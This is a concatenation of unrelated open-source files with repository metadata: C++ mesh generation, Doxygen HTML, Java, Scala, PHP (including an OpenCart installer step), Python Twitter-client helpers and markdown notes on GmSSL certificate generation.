Info<< " " << zoneI << '\t' << zoneName << endl; zoneMap.insert(zoneName, zoneI); } else { zoneI = iter(); } forAll(blockCells, i) { zoneCells[zoneI].append(cellI++); } } else { cellI += b.cells().size(); } } List<cellZone*> cz(zoneMap.size()); Info<< nl << "Writing cell zones as cellSets" << endl; forAllConstIter(HashTable<label>, zoneMap, iter) { label zoneI = iter(); cz[zoneI] = new cellZone ( iter.key(), zoneCells[zoneI].shrink(), zoneI, mesh.cellZones() ); // Write as cellSet for ease of processing cellSet cset ( mesh, iter.key(), labelHashSet(zoneCells[zoneI].shrink()) ); cset.write(); } mesh.pointZones().setSize(0); mesh.faceZones().setSize(0); mesh.cellZones().setSize(0); mesh.addZones(List<pointZone*>(0), List<faceZone*>(0), cz); } // Set the precision of the points data to 10 IOstream::defaultPrecision(max(10u, IOstream::defaultPrecision())); Info<< nl << "Writing polyMesh" << endl; mesh.removeFiles(); if (!mesh.write()) { FatalErrorIn(args.executable()) << "Failed writing polyMesh." << exit(FatalError); } // // write some information // { const polyPatchList& patches = mesh.boundaryMesh(); Info<< "----------------" << nl << "Mesh Information" << nl << "----------------" << nl << " " << "boundingBox: " << boundBox(mesh.points()) << nl << " " << "nPoints: " << mesh.nPoints() << nl << " " << "nCells: " << mesh.nCells() << nl << " " << "nFaces: " << mesh.nFaces() << nl << " " << "nInternalFaces: " << mesh.nInternalFaces() << nl; Info<< "----------------" << nl << "Patches" << nl << "----------------" << nl; forAll(patches, patchI) { const polyPatch& p = patches[patchI]; Info<< " " << "patch " << patchI << " (start: " << p.start() << " size: " << p.size() << ") name: " << p.name() << nl; } } Info<< "\nEnd\n" << endl; return 0; } // ************************************************************************* //
Unofficial-Extend-Project-Mirror/foam-extend-foam-extend-3.2
applications/utilities/mesh/generation/blockMesh/blockMeshApp.C
C++
gpl-3.0
10,034
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <title>SdFat: Class Members - Functions</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <link href="doxygen.css" rel="stylesheet" type="text/css"/> </head> <body> <!-- Generated by Doxygen 1.7.4 --> <div id="top"> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">SdFat</div> </td> </tr> </tbody> </table> </div> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="inherits.html"><span>Class&#160;Hierarchy</span></a></li> <li class="current"><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <div id="navrow3" class="tabs2"> <ul class="tablist"> <li><a href="functions.html"><span>All</span></a></li> <li class="current"><a href="functions_func.html"><span>Functions</span></a></li> <li><a href="functions_vars.html"><span>Variables</span></a></li> <li><a href="functions_type.html"><span>Typedefs</span></a></li> <li><a href="functions_enum.html"><span>Enumerations</span></a></li> <li><a href="functions_eval.html"><span>Enumerator</span></a></li> <li><a href="functions_rela.html"><span>Related&#160;Functions</span></a></li> </ul> </div> <div id="navrow4" class="tabs3"> <ul class="tablist"> <li><a href="functions_func.html#index_a"><span>a</span></a></li> <li><a href="functions_func_0x62.html#index_b"><span>b</span></a></li> <li><a href="functions_func_0x63.html#index_c"><span>c</span></a></li> <li><a href="functions_func_0x64.html#index_d"><span>d</span></a></li> <li><a href="functions_func_0x65.html#index_e"><span>e</span></a></li> <li><a href="functions_func_0x66.html#index_f"><span>f</span></a></li> <li><a href="functions_func_0x67.html#index_g"><span>g</span></a></li> <li><a href="functions_func_0x69.html#index_i"><span>i</span></a></li> <li><a href="functions_func_0x6c.html#index_l"><span>l</span></a></li> <li><a href="functions_func_0x6d.html#index_m"><span>m</span></a></li> <li><a href="functions_func_0x6f.html#index_o"><span>o</span></a></li> <li><a href="functions_func_0x70.html#index_p"><span>p</span></a></li> <li><a href="functions_func_0x72.html#index_r"><span>r</span></a></li> <li><a href="functions_func_0x73.html#index_s"><span>s</span></a></li> <li class="current"><a href="functions_func_0x74.html#index_t"><span>t</span></a></li> <li><a href="functions_func_0x75.html#index_u"><span>u</span></a></li> <li><a href="functions_func_0x76.html#index_v"><span>v</span></a></li> <li><a href="functions_func_0x77.html#index_w"><span>w</span></a></li> </ul> </div> </div> <div class="contents"> &#160; <h3><a class="anchor" id="index_t"></a>- t -</h3><ul> <li>tellg() : <a class="el" href="classistream.html#a18332bdcb7fbe33ca06045c786cac4c3">istream</a> </li> <li>tellp() : <a class="el" href="classostream.html#a92dec0e2bc8352df1419d1cdc434e619">ostream</a> </li> <li>timestamp() : <a class="el" href="class_sd_base_file.html#ae55ad6000c44fc73e15934381b305dc4">SdBaseFile</a> </li> <li>truncate() : <a class="el" href="class_sd_base_file.html#a9d1ad1abbd90089f731de81de1708c19">SdBaseFile</a> , <a class="el" href="class_sd_fat.html#ac0c2ed27d37bdb1b50f4543253871c1e">SdFat</a> </li> <li>type() : <a class="el" href="class_sd_base_file.html#a1555e6866abc9c867c5fff189a3a4317">SdBaseFile</a> , <a class="el" href="class_sd2_card.html#adcee026d613619414e2b6d3eca2c6537">Sd2Card</a> </li> </ul> </div> <hr class="footer"/><address class="footer"><small>Generated on Wed Dec 25 2013 08:34:30 for SdFat by&#160; <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.7.4 </small></address> </body> </html>
Arduino-Minas/SDFATLib
html/functions_func_0x74.html
HTML
gpl-3.0
4,530
/* * Copyright 2010-2013 OpenXcom Developers. * * This file is part of OpenXcom. * * OpenXcom is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * OpenXcom is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OpenXcom. If not, see <http://www.gnu.org/licenses/>. */ #ifndef ARESAME_H #define ARESAME_H #include <limits> #include <cmath> template <class _Tx> inline bool AreSame(const _Tx& l, const _Tx& r) { return std::fabs(l-r) <= std::numeric_limits<_Tx>::epsilon(); } #endif
IvanDogovich/OpenXcom
src/aresame.h
C
gpl-3.0
944
package com.ggollmer.inevera.client.effect; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import com.ggollmer.inevera.lib.EffectConstants; import net.minecraft.client.particle.EffectRenderer; import net.minecraft.world.World; /** * IneveraCraft * * IneveraEffectHelper.java * * @author gomer3261 * @license Lesser GNU Public License v3 (http://www.gnu.org/licenses/lgpl.html) * */ public class IneveraEffectHelper { private static Map<String, Class<? extends IneveraEffect>> effects; /** * Used to initialize the effect helper, and register default inevera effects. */ public static void init() { effects = new HashMap<String, Class<? extends IneveraEffect>>(); registerEffect(EffectConstants.EFFECT_ABSORB_NAME, IneveraEffectAbsorb.class); registerEffect(EffectConstants.EFFECT_GROUND_EMANATE_NAME, IneveraEffectGroundEmanate.class); registerEffect(EffectConstants.EFFECT_DIRECTIONAL_BURST_NAME, IneveraEffectDirectionalBurst.class); } /** * Registers an effect with the helper. * @param type The string representing the type of effect. * @param effect The class for the new effect. * @return false if the type already exists. */ public static boolean registerEffect(String type, Class<? extends IneveraEffect> effect) { if(effects.containsKey(type)) { return false; } effects.put(type, effect); return true; } /** * Used to register an effect regardless of whether the type is taken or not. * @param type The string representing the type of effect. * @param effect The class for the new effect. */ public static void registerEffectNonBlocking(String type, Class<? extends IneveraEffect> effect) { effects.put(type, effect); } /** * Used to instantiate a new effect. * @param type The type of effect to create. * @param world The world to create the effect in. * @param effectRenderer The renderer that should control the effect. * @param px The starting x location of the effect. * @param py The starting y location of the effect. * @param pz The starting z location of the effect. * @param args The effect specific arguments. * @return A reference to the spawned effect. */ public static IneveraEffect spawnEffect(String type, World world, EffectRenderer effectRenderer, double px, double py, double pz, String args) { if(effects.containsKey(type)) { try { Class<?> par_types[] = new Class[]{World.class, EffectRenderer.class, double.class, double.class, double.class, String.class}; Constructor<?> constructor = effects.get(type).getConstructor(par_types); Object arguments[] = new Object[]{world, effectRenderer, (Double)px, (Double)py, (Double)pz, args}; IneveraEffect effect = (IneveraEffect) constructor.newInstance(arguments); effectRenderer.addEffect(effect); return effect; } catch (Exception e) { e.printStackTrace(System.err); } } return null; } }
Gomer3261/IneveraCraft
inevera_common/com/ggollmer/inevera/client/effect/IneveraEffectHelper.java
Java
gpl-3.0
2,976
# Work in progress Draft version of **RPi-Monitor** documentation: https://xavierberger.github.io/RPi-Monitor-docs/ Source of documentation: https://github.com/XavierBerger/RPi-Monitor/tree/feature/docs/docs/source
XavierBerger/RPi-Monitor
docs/README.md
Markdown
gpl-3.0
216
# GmSSL [GmSSL](http://gmssl.org/)是一个开源的密码工具箱,支持SM2/SM3/SM4/SM9等国密(国家商用密码)算法、SM2国密数字证书及基于SM2证书的SSL/TLS安全通信协议,支持国密硬件密码设备,提供符合国密规范的编程接口与命令行工具,可以用于构建PKI/CA、安全通信、数据加密等符合国密标准的安全应用。GmSSL项目是OpenSSL项目的分支,并与OpenSSL保持接口兼容。 证书是按如下步骤生成的: // CA证书 $ gmssl ecparam -genkey -name sm2p256v1 -out ca.key $ gmssl req -new -sm3 -key ca.key -out ca.csr $ gmssl x509 -req -sm3 -signkey ca.key -in ca.csr -out ca.crt // 服务端证书 $ gmssl ecparam -genkey -name sm2p256v1 -out server.key $ gmssl req -new -sm3 -key server.key -out server.csr -subj "/C=CN/ST=ZheJiang/OU=devel/CN=linux" $ gmssl x509 -req -sm3 -CA ca.crt -CAkey ca.key -CAcreateserial -in server.csr -out server.crt // 转换java承认的pkcs格式 $ gmssl pkcs12 -export -in server.crt -inkey server.key -out server.p12 -name SM2
fangxinmiao/projects
Architeture/Security/Algorithm/GmSSL/docs/GmSSL.md
Markdown
gpl-3.0
1,105
/* * Copyright (C) 2016 Department for Business, Energy and Industrial Strategy * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package rifs.business import org.joda.time.{DateTime, DateTimeZone} import org.scalatest._ import org.scalatest.concurrent.ScalaFutures import org.scalatest.time.{Seconds, Span} import play.api.libs.json.{JsObject, JsString} import play.api.libs.mailer.{Email, MailerClient} import rifs.business.data.ApplicationDetails import rifs.business.models._ import rifs.business.notifications.EmailNotifications import scala.concurrent.{ExecutionContext, Future} class NotificationsTest extends WordSpecLike with Matchers with OptionValues with ScalaFutures { implicit val waitConf = PatienceConfig(Span(3, Seconds)) import NotificationsTestData._ "notification" should { "return no notification ID for a missing application ID" in { val notification = new EmailNotifications(new DummyMailer(""), new DummyGatherDetailsAndSect(Future.successful(None), Future.successful(None)), oppNotFoundOps) val res1 = notification.notifyPortfolioManager(dummyAppId, "from", "to") res1.futureValue shouldBe None val res2 = notification.notifyApplicant(dummyAppId, DateTime.now(DateTimeZone.UTC), "from", "to", "mgr@") res2.futureValue shouldBe None } "return no notification ID for a missing opportunity ID" in { val notification = new EmailNotifications(new DummyMailer(""), new DummyGatherDetailsAndSect(Future.successful(None), Future.successful(None)), oppNotFoundOps) val res1 = notification.notifyManager(OpportunityId(123), "from", "to") res1.futureValue shouldBe None } "return no notification ID for missing details section" in { val notification = new EmailNotifications(new DummyMailer(""), new DummyGatherDetailsAndSect(appOps.gatherDetails(dummyAppId), Future.successful(None)), oppNotFoundOps) val res = notification.notifyApplicant(dummyAppId, DateTime.now(DateTimeZone.UTC), "from", "to", "mgr@") res.futureValue shouldBe None } "create a notification ID upon success" in { val MAIL_ID = "yey" val sender = new DummyMailer(MAIL_ID) val notificationMgr = new EmailNotifications(sender, appOps, oppNotFoundOps) val res1 = notificationMgr.notifyPortfolioManager(dummyAppId, "from", "to") res1.futureValue.value.id shouldBe MAIL_ID val notificationAppl = new EmailNotifications(sender, appOpsAndSection, oppNotFoundOps) val res2 = notificationAppl.notifyApplicant(dummyAppId, DateTime.now(DateTimeZone.UTC), "from@", "to@", "mgr@") res2.futureValue.value.id shouldBe MAIL_ID val oppNotify = new EmailNotifications(sender, appOps, oppOps) val res3 = oppNotify.notifyManager(dummyOppId, "from@", "to@") res3.futureValue.value.id shouldBe MAIL_ID } "return error if e-mailer throws" in { val sender = new DummyMailer(throw new RuntimeException()) val notificationMgr = new EmailNotifications(sender, appOps, oppNotFoundOps) val res1 = notificationMgr.notifyPortfolioManager(dummyAppId, "from", "to") whenReady(res1.failed) { ex => ex shouldBe a[RuntimeException] } val notificationAppl = new EmailNotifications(sender, appOpsAndSection, oppNotFoundOps) val res2 = notificationAppl.notifyApplicant(dummyAppId, DateTime.now(DateTimeZone.UTC), "from@", "to@", "mgr@") whenReady(res2.failed) { ex => ex shouldBe a[RuntimeException] } val oppNotify = new EmailNotifications(sender, appOps, oppOps) val res3 = oppNotify.notifyManager(dummyOppId, "from@", "to@") whenReady(res3.failed) { ex => ex shouldBe a[RuntimeException] } } } } object NotificationsTestData { implicit val ec: ExecutionContext = scala.concurrent.ExecutionContext.Implicits.global val dummyAppId = ApplicationId(1) val oppNotFoundOps = new DummySaveDescription(_ => Future.successful(None)) val dummyOppId = OpportunityId(1399) val dummyOpp = OpportunityRow(dummyOppId, "Op1", "today", None, 2000, "per event", None, None) val oppOps = new DummySaveDescription(oid => Future.successful(if (oid == dummyOppId) Some(dummyOpp) else None)) class DummyMailer(result: => String) extends MailerClient { override def send(email: Email): String = result } val (appOpsAndSection, appOps) = { val appFormId = ApplicationFormId(1) val oppId = OpportunityId(1) val opp = OpportunityRow(oppId, "oz1", "", None, 0, "", None, None) val appDetails = ApplicationDetails( ApplicationRow(dummyAppId, appFormId, None), ApplicationFormRow(appFormId, oppId), opp) val details = Future.successful(Some(appDetails)) val appSectRow = ApplicationSectionRow(ApplicationSectionId(0), dummyAppId, rifs.business.models.APP_TITLE_SECTION_NO, JsObject(Seq("title" -> JsString("app title"))), None) (new DummyGatherDetailsAndSect(details, Future.successful(Some(appSectRow))), new DummyGatherDetails(details)) } class DummyGatherDetails(result: => Future[Option[ApplicationDetails]]) extends StubApplicationOps { override def gatherDetails(id: SubmittedApplicationRef): Future[Option[ApplicationDetails]] = result } class DummyGatherDetailsAndSect(details: => Future[Option[ApplicationDetails]], section: => Future[Option[ApplicationSectionRow]]) extends DummyGatherDetails(details) { override def fetchSection(id: ApplicationId, sectionNumber: Int): Future[Option[ApplicationSectionRow]] = section } class DummySaveDescription(oppRow: OpportunityId => Future[Option[OpportunityRow]]) extends StubOpportunityOps { override def byId(id: OpportunityId): Future[Option[OpportunityRow]] = oppRow(id) } }
UKGovernmentBEIS/rifs-business
src/test/scala/rifs/business/NotificationsTest.scala
Scala
gpl-3.0
6,367
<?php class ControllerStep3 extends Controller { private $error = array(); public function index() { if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) { $this->load->model('install'); $this->model_install->database($this->request->post); $output = '<?php' . "\n"; $output .= '// HTTP' . "\n"; $output .= 'define(\'HTTP_SERVER\', \'' . HTTP_OPENCART . '\');' . "\n\n"; $output .= '// HTTPS' . "\n"; $output .= 'define(\'HTTPS_SERVER\', \'' . HTTP_OPENCART . '\');' . "\n\n"; $output .= '// DIR' . "\n"; $output .= 'define(\'DIR_APPLICATION\', \'' . DIR_OPENCART . 'catalog/\');' . "\n"; $output .= 'define(\'DIR_SYSTEM\', \'' . DIR_OPENCART. 'system/\');' . "\n"; $output .= 'define(\'DIR_LANGUAGE\', \'' . DIR_OPENCART . 'catalog/language/\');' . "\n"; $output .= 'define(\'DIR_TEMPLATE\', \'' . DIR_OPENCART . 'catalog/view/theme/\');' . "\n"; $output .= 'define(\'DIR_CONFIG\', \'' . DIR_OPENCART . 'system/config/\');' . "\n"; $output .= 'define(\'DIR_IMAGE\', \'' . DIR_OPENCART . 'image/\');' . "\n"; $output .= 'define(\'DIR_CACHE\', \'' . DIR_OPENCART . 'system/cache/\');' . "\n"; $output .= 'define(\'DIR_DOWNLOAD\', \'' . DIR_OPENCART . 'system/download/\');' . "\n"; $output .= 'define(\'DIR_MODIFICATION\', \'' . DIR_OPENCART. 'system/modification/\');' . "\n"; $output .= 'define(\'DIR_LOGS\', \'' . DIR_OPENCART . 'system/logs/\');' . "\n\n"; $output .= '// DB' . "\n"; $output .= 'define(\'DB_DRIVER\', \'' . addslashes($this->request->post['db_driver']) . '\');' . "\n"; $output .= 'define(\'DB_HOSTNAME\', \'' . addslashes($this->request->post['db_host']) . '\');' . "\n"; $output .= 'define(\'DB_USERNAME\', \'' . addslashes($this->request->post['db_user']) . '\');' . "\n"; $output .= 'define(\'DB_PASSWORD\', \'' . addslashes($this->request->post['db_password']) . '\');' . "\n"; $output .= 'define(\'DB_DATABASE\', \'' . addslashes($this->request->post['db_name']) . '\');' . "\n"; $output .= 'define(\'DB_PREFIX\', \'' . addslashes($this->request->post['db_prefix']) . '\');' . "\n"; $file = fopen(DIR_OPENCART . 'config.php', 'w'); fwrite($file, $output); fclose($file); $output = '<?php' . "\n"; $output .= '// HTTP' . "\n"; $output .= 'define(\'HTTP_SERVER\', \'' . HTTP_OPENCART . 'admin/\');' . "\n"; $output .= 'define(\'HTTP_CATALOG\', \'' . HTTP_OPENCART . '\');' . "\n\n"; $output .= '// HTTPS' . "\n"; $output .= 'define(\'HTTPS_SERVER\', \'' . HTTP_OPENCART . 'admin/\');' . "\n"; $output .= 'define(\'HTTPS_CATALOG\', \'' . HTTP_OPENCART . '\');' . "\n\n"; $output .= '// DIR' . "\n"; $output .= 'define(\'DIR_APPLICATION\', \'' . DIR_OPENCART . 'admin/\');' . "\n"; $output .= 'define(\'DIR_SYSTEM\', \'' . DIR_OPENCART . 'system/\');' . "\n"; $output .= 'define(\'DIR_LANGUAGE\', \'' . DIR_OPENCART . 'admin/language/\');' . "\n"; $output .= 'define(\'DIR_TEMPLATE\', \'' . DIR_OPENCART . 'admin/view/template/\');' . "\n"; $output .= 'define(\'DIR_CONFIG\', \'' . DIR_OPENCART . 'system/config/\');' . "\n"; $output .= 'define(\'DIR_IMAGE\', \'' . DIR_OPENCART . 'image/\');' . "\n"; $output .= 'define(\'DIR_CACHE\', \'' . DIR_OPENCART . 'system/cache/\');' . "\n"; $output .= 'define(\'DIR_DOWNLOAD\', \'' . DIR_OPENCART . 'system/download/\');' . "\n"; $output .= 'define(\'DIR_LOGS\', \'' . DIR_OPENCART . 'system/logs/\');' . "\n"; $output .= 'define(\'DIR_MODIFICATION\', \'' . DIR_OPENCART. 'system/modification/\');' . "\n"; $output .= 'define(\'DIR_CATALOG\', \'' . DIR_OPENCART . 'catalog/\');' . "\n\n"; $output .= '// DB' . "\n"; $output .= 'define(\'DB_DRIVER\', \'' . addslashes($this->request->post['db_driver']) . '\');' . "\n"; $output .= 'define(\'DB_HOSTNAME\', \'' . addslashes($this->request->post['db_host']) . '\');' . "\n"; $output .= 'define(\'DB_USERNAME\', \'' . addslashes($this->request->post['db_user']) . '\');' . "\n"; $output .= 'define(\'DB_PASSWORD\', \'' . addslashes($this->request->post['db_password']) . '\');' . "\n"; $output .= 'define(\'DB_DATABASE\', \'' . addslashes($this->request->post['db_name']) . '\');' . "\n"; $output .= 'define(\'DB_PREFIX\', \'' . addslashes($this->request->post['db_prefix']) . '\');' . "\n"; $file = fopen(DIR_OPENCART . 'admin/config.php', 'w'); fwrite($file, $output); fclose($file); $this->response->redirect($this->url->link('step_4')); } $data = array(); if (isset($this->error['warning'])) { $data['error_warning'] = $this->error['warning']; } else { $data['error_warning'] = ''; } if (isset($this->error['db_host'])) { $data['error_db_host'] = $this->error['db_host']; } else { $data['error_db_host'] = ''; } if (isset($this->error['db_user'])) { $data['error_db_user'] = $this->error['db_user']; } else { $data['error_db_user'] = ''; } if (isset($this->error['db_name'])) { $data['error_db_name'] = $this->error['db_name']; } else { $data['error_db_name'] = ''; } if (isset($this->error['db_prefix'])) { $data['error_db_prefix'] = $this->error['db_prefix']; } else { $data['error_db_prefix'] = ''; } if (isset($this->error['username'])) { $data['error_username'] = $this->error['username']; } else { $data['error_username'] = ''; } if (isset($this->error['password'])) { $data['error_password'] = $this->error['password']; } else { $data['error_password'] = ''; } if (isset($this->error['email'])) { $data['error_email'] = $this->error['email']; } else { $data['error_email'] = ''; } $data['action'] = $this->url->link('step_3'); if (isset($this->request->post['db_driver'])) { $data['db_driver'] = $this->request->post['db_driver']; } else { $data['db_driver'] = 'mysql'; } if (isset($this->request->post['db_host'])) { $data['db_host'] = $this->request->post['db_host']; } else { $data['db_host'] = 'localhost'; } if (isset($this->request->post['db_user'])) { $data['db_user'] = html_entity_decode($this->request->post['db_user']); } else { $data['db_user'] = ''; } if (isset($this->request->post['db_password'])) { $data['db_password'] = html_entity_decode($this->request->post['db_password']); } else { $data['db_password'] = ''; } if (isset($this->request->post['db_name'])) { $data['db_name'] = html_entity_decode($this->request->post['db_name']); } else { $data['db_name'] = ''; } if (isset($this->request->post['db_prefix'])) { $data['db_prefix'] = html_entity_decode($this->request->post['db_prefix']); } else { $data['db_prefix'] = 'oc_'; } if (isset($this->request->post['username'])) { $data['username'] = $this->request->post['username']; } else { $data['username'] = 'admin'; } if (isset($this->request->post['password'])) { $data['password'] = $this->request->post['password']; } else { $data['password'] = ''; } if (isset($this->request->post['email'])) { $data['email'] = $this->request->post['email']; } else { $data['email'] = ''; } $data['back'] = $this->url->link('step_2'); $data['header'] = $this->load->controller('header'); $data['footer'] = $this->load->controller('footer'); $this->response->setOutput($this->load->view('step_3.tpl', $data)); } private function validate() { if (!$this->request->post['db_host']) { $this->error['db_host'] = 'Host required!'; } if (!$this->request->post['db_user']) { $this->error['db_user'] = 'User required!'; } if (!$this->request->post['db_name']) { $this->error['db_name'] = 'Database Name required!'; } if ($this->request->post['db_prefix'] && preg_match('/[^a-z0-9_]/', $this->request->post['db_prefix'])) { $this->error['db_prefix'] = 'DB Prefix can only contain lowercase characters in the a-z range, 0-9 and "_"!'; } if ($this->request->post['db_driver'] == 'mysql') { if (!$connection = @mysql_connect($this->request->post['db_host'], $this->request->post['db_user'], $this->request->post['db_password'])) { $this->error['warning'] = 'Error: Could not connect to the database please make sure the database server, username and password is correct!'; } else { if (!@mysql_select_db($this->request->post['db_name'], $connection)) { $this->error['warning'] = 'Error: Database does not exist!'; } mysql_close($connection); } } if ($this->request->post['db_driver'] == 'mysqli') { $connection = new mysqli($this->request->post['db_host'], $this->request->post['db_user'], $this->request->post['db_password'], $this->request->post['db_name']); if (mysqli_connect_error()) { $this->error['warning'] = 'Error: Could not connect to the database please make sure the database server, username and password is correct!'; } else { $connection->close(); } } if (!$this->request->post['username']) { $this->error['username'] = 'Username required!'; } if (!$this->request->post['password']) { $this->error['password'] = 'Password required!'; } if ((utf8_strlen($this->request->post['email']) > 96) || !preg_match('/^[^\@]+@.*\.[a-z]{2,6}$/i', $this->request->post['email'])) { $this->error['email'] = 'Invalid E-Mail!'; } if (!is_writable(DIR_OPENCART . 'config.php')) { $this->error['warning'] = 'Error: Could not write to config.php please check you have set the correct permissions on: ' . DIR_OPENCART . 'config.php!'; } if (!is_writable(DIR_OPENCART . 'admin/config.php')) { $this->error['warning'] = 'Error: Could not write to config.php please check you have set the correct permissions on: ' . DIR_OPENCART . 'admin/config.php!'; } if (!$this->error) { return true; } else { return false; } } }
stan-bg/opencart
upload/install/controller/step_3.php
PHP
gpl-3.0
10,060
""" This module contains various methods for checking the type of timelines and a class that creates all kinds of timelines. """ import re from functools import partial from gettext import gettext as _ from turses.models import Timeline, is_DM HOME_TIMELINE = 'home' MENTIONS_TIMELINE = 'mentions' FAVORITES_TIMELINE = 'favorites' MESSAGES_TIMELINE = 'messages' OWN_TWEETS_TIMELINE = 'own_tweets' DEFAULT_TIMELINES = [ HOME_TIMELINE, MENTIONS_TIMELINE, FAVORITES_TIMELINE, MESSAGES_TIMELINE, OWN_TWEETS_TIMELINE, ] def check_update_function_name(timeline, update_function_name=None): if not isinstance(timeline, Timeline): return False update_function = timeline.update_function if update_function is None: return False return update_function.__name__ == update_function_name is_home_timeline = partial(check_update_function_name, update_function_name='get_home_timeline') is_mentions_timeline = partial(check_update_function_name, update_function_name='get_mentions') is_favorites_timeline = partial(check_update_function_name, update_function_name='get_favorites') is_own_timeline = partial(check_update_function_name, update_function_name='get_own_timeline') is_messages_timeline = partial(check_update_function_name, update_function_name='get_direct_messages') is_search_timeline = partial(check_update_function_name, update_function_name='search') is_user_timeline = partial(check_update_function_name, update_function_name='get_user_timeline') is_retweets_of_me_timeline = partial(check_update_function_name, update_function_name='get_retweets_of_me') is_thread_timeline = partial(check_update_function_name, update_function_name='get_thread') search_name_re = re.compile(r'^search:(?P<query>.+)$') user_name_re = re.compile(r'^user:(?P<screen_name>[A-Za-z0-9_]+)$') class TimelineFactory: def __init__(self, api): self.api = api def __call__(self, timeline_string): timeline = timeline_string.strip() if timeline == HOME_TIMELINE: return Timeline(name=_('tweets'), update_function=self.api.get_home_timeline,) elif timeline == MENTIONS_TIMELINE: return Timeline(name=_('mentions'), update_function=self.api.get_mentions,) elif timeline == FAVORITES_TIMELINE: return Timeline(name=_('favorites'), update_function=self.api.get_favorites,) elif timeline == MESSAGES_TIMELINE: return Timeline(name=_('messages'), update_function=self.api.get_direct_messages,) elif timeline == OWN_TWEETS_TIMELINE: return Timeline(name=_('me'), update_function=self.api.get_own_timeline,) elif timeline == 'retweets_of_me': return Timeline(name=_('retweets of me'), update_function=self.api.get_retweets_of_me,) is_search = search_name_re.match(timeline) if is_search: query = is_search.groupdict()['query'] return Timeline(name=_('Search: %s' % query), update_function=self.api.search, update_function_args=query,) is_user = user_name_re.match(timeline) if is_user: screen_name = is_user.groupdict()['screen_name'] timeline_name = _('@{screen_name}'.format(screen_name=screen_name)) return Timeline(name=timeline_name, update_function=self.api.get_user_timeline, update_function_args=screen_name,) def valid_timeline_name(self, name): if name in DEFAULT_TIMELINES: return True if name == 'retweets_of_me': return True # search if search_name_re.match(name): return True # user if user_name_re.match(name): return True return False def thread(self, status): """ Create a timeline with the conversation to which `status` belongs. `status` can be a regular status or a direct message. """ if is_DM(status): participants = [status.sender_screen_name, status.recipient_screen_name] name = _('DM thread: %s' % ', '.join(participants)) update_function = self.api.get_message_thread else: participants = status.mentioned_usernames author = status.authors_username if author not in participants: participants.insert(0, author) name = _('thread: %s' % ', '.join(participants)) update_function = self.api.get_thread return Timeline(name=name, update_function=update_function, update_function_args=status,)
joedicastro/turses
turses/api/helpers.py
Python
gpl-3.0
5,201
<?php namespace CashbackApi\Whitelabel; /** * Class Offer * @package CashbackApi\Whitelabel */ class Offer extends BaseWhitelabel { /** * @var int|null */ private $retailerId = null; /** * @return int|null */ public function getRetailerId() { return $this->retailerId; } /** * @param int|null $retailerId */ public function setRetailerId($retailerId) { $this->retailerId = $retailerId; } protected function resolveRetailerId($retailerId = null) { if ($retailerId == 'all') { $retailerId = null; } else { $retailerId = (int)$this->getRetailerId(); } return $retailerId; } public function getAll($restrictions = false, $restricted = false, $retailerId = null) { $data = new \stdClass(); $data->retailer_id = $this->resolveRetailerId($retailerId); $data->include_live_setup = true; $data->include_restrictions = $restrictions; $data->include_restricted = $restricted; return $this->doRequest('whitelabel/retailer/offer/get-all', $data); } /** * @param $id * @param bool $live * @param bool $draft * @param bool $restrictions * @param bool $restricted * @return bool|object */ public function get($id, $live = false, $draft = false, $restrictions = false) { $data = new \stdClass(); $data->offer_id = (int)$id; $data->include_live_setup = $live; $data->include_draft_setup = $draft; $data->include_restrictions = $restrictions; return $this->doRequest('whitelabel/retailer/offer/get', $data); } }
Sub-Tech/CashbackAPI
src/Whitelabel/Offer.php
PHP
gpl-3.0
1,721
/* * Copyright (c) 2013 Curry Order System authors. * This file is part of Curry Order System. Please refer to the NOTICE.txt file for license details. */ package code.snippet import code.model.User import xml.NodeSeq import net.liftweb.http.{S, RequestVar, TemplateFinder, SHtml} import _root_.net.liftweb.util._ import _root_.net.liftweb.common._ import Helpers._ import net.liftweb.http.js.JsCmds class Users { val users = User.findAll def list = ".user" #> rows & ClearClearable def rows: (NodeSeq => NodeSeq) = (ns: NodeSeq) => users.flatMap(row(_).apply(ns)) def row(o: User) = ".name *" #> o.realName & ".email *" #> o.email & ".delete *" #> deleteButton (o) & ".user [id]" #> ("user" + o.id) def deleteButton (o: User):NodeSeq = { val currentUser = User.currentUser openOr null if (currentUser != null && (o == currentUser || currentUser.isSuper)) { SHtml.ajaxButton("Delete", () => { User.delete_!(o) code.comet.OrderServer ! "deleted" S.notice("User Deleted") JsCmds.Replace("user" + o.id, NodeSeq.Empty) }) } else { NodeSeq.Empty } } }
scott-abernethy/curry-order-system
src/main/scala/code/snippet/Users.scala
Scala
gpl-3.0
1,182
